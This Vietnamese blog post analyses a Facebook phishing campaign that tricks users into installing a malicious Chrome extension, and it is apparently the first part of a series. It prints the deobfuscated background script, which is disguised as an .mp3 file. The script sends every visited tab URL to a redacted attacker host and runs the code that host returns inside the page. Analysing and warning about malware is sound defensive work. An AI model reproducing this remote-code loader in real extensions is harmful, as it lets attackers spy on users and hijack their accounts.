Hôm nay trên Facebook mọi người chia sẻ rất nhiều cảnh báo về một kiểu Hack tài khoản Facebook mới có dạng ai đó “đã nhắc đến bạn trong một bình luận“. Trong bài này tôi sẽ phân tích cách mà mã độc này đang hoạt động và lây lan.
Ở thời điểm hiện tại, khi nhấn vào thông báo thì bạn sẽ nhận được cảnh báo từ Facebook:
Để có thể viết bài phân tích cho các bạn, tôi sẽ nhấn vào `Truy cập liên kết`. Tuy nhiên các bạn hãy vào `Quay lại` để đảm bảo an toàn cho bản thân! Sau khi nhấn vào thông báo, thay vì chuyển hướng tới bình luận như mọi khi thì người dùng sẽ bị chuyển hướng sang một trang web có giao diện giống hệt Facebook. Dù đây là tấn công theo phương thức [Phishing](https://en.wikipedia.org/wiki/Phishing) nhưng không phải kiểu thông thường mà chúng ta thường gặp là nhái trang đăng nhập. Lần này nó sẽ hiển thị một trang xem video như trên Facebook.
Sau khi truy cập khoảng 5 giây sẽ có một thông báo yêu cầu cài đặt Extension vào trình duyệt. Tại sao trang web có thể hiển thị thông báo như khi bạn nhấn nút cài đặt Extension trên Chrome Store? Đó là vì kẻ tấn công đã sử dụng phương thức **Cài đặt nội tuyến** ([Inline Installation]). Tất nhiên là tôi sẽ không cài đặt rồi. Bằng một số thủ thuật tìm thấy trên Google, tôi tải được tập tin CRX (đuôi mở rộng của Extension) về máy.
Phân tích mã độc
CRX thực chất là một định dạng nén đặc biệt của Extension, giống như đuôi JAR của tập tin JAVA. Tức là ta có thể xem nội dung bên trong như một tập tin nén thông thường.
Trong phần mở rộng này có một tập tin khá đặc biệt là **639040963078.mp3** (tập tin MP3 rất ít khi được sử dụng trong Extension). Quét thử với Virus Total thì [kết quả](https://www.virustotal.com/vi/file/68fe8daa29e8e618250e1fe28c5725f8d92a8a57d44932799f4f6628a4c01788/analysis/1447594203/) có vẻ cũng không “nguy hiểm” lắm. Tôi liền mở tập tin manifest.json ra coi. Đây là tập tin chứa các thông tin cơ bản và quyền hạn của một Extension.
Phần quyền hạn (permission) có vẻ khá nhạy cảm. Nó quản lý các tab và mọi trang web mà bạn truy cập (kể cả trang web đó sử dụng giao thức bảo mật HTTPS). Nhưng có một điểm thú vị hơn là phần kịch bản chạy nền (background):
“`json “background”:{ “scripts”:[“639040963078.mp3”] } “`
Tại sao tôi lại nói là thú vị? Vì phần này khai báo HTML hoặc JavaScript nhưng tác giả của Extension lại trỏ vào tập tin *.mp3 Tôi liền đổi đuôi tập tin 639040963078**.mp3** thành 639040963078**.js** và mở lên xem nội dung.
Đoạn mã đã được làm rối (Obfuscated), tuy nhiên mã khá ngắn nên không tốn nhiều thời gian lắm để lấy lại đoạn mã ban đầu:
“`javascript window.chrome.tabs.onUpdated.addListener(function(wyqhrr) { window.chrome.tabs.get(wyqhrr, function(tab) { if (tab.status == ‘complete’) { var xhr = new XMLHttpRequest(); xhr.open(‘GET’, ‘http://xxx.xyz/z.php?url=’ + tab.url, true); xhr.onreadystatechange = function() { if (xhr.readyState == 4 && xhr.status == 200) { window.chrome.tabs.executeScript(tab.id, { code: xhr.responseText }); } } xhr.send(); } }) }) “`
*Chú ý: Tên miền trong đoạn mã chứa mã độc nên tôi đã ẩn.* Đoạn mã trên sẽ lắng nghe sự kiện mỗi khi người dùng mở tab mới hoặc tab được điều hướng. Khi sự kiện này xảy ra nó sẽ thực thi một đoạn mã độc từ xa. Nội dung mã độc mới được lấy thông qua Ajax. Bài phân tích khá dài. Tôi sẽ tiếp tục phân tích đoạn mã độc được thực thi trong phần 2.